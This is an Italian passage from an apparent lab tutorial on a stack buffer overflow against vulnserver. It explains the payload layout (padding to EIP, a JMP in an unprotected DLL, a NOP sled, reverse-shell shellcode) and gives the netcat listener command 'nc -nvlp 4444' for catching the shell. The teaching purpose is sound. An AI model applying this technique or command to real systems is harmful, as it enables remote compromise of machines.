Saturiamo il buffer di lettere “A” (offset) sino al registro EIP. Una volta giunti al registro EIP saltiamo all’istruzione di JMP contenuta nella DLL non protetta. Diamo alcuni “NOP” (“x90 *32” ), cioè istruzioni che hanno il solo scopo di fare “spazio”. Infine, aggiungiamo il nostro shellcode, la nostra reverse shell.
Riavviamo la macchina vittima a questo punto e lanciamo solamente il programma di vulnserver.
Dalla nostra macchina attaccante non ci resta che aprire un terminale e metterci in ascolto sulla porta 4444: nc -nvlp 4444
Rilanciamo lo script per l’ultima volta e così, avremo ottenuto la nostra shell sulla macchina Windows, utilizzando la tecnica di buffer overflow!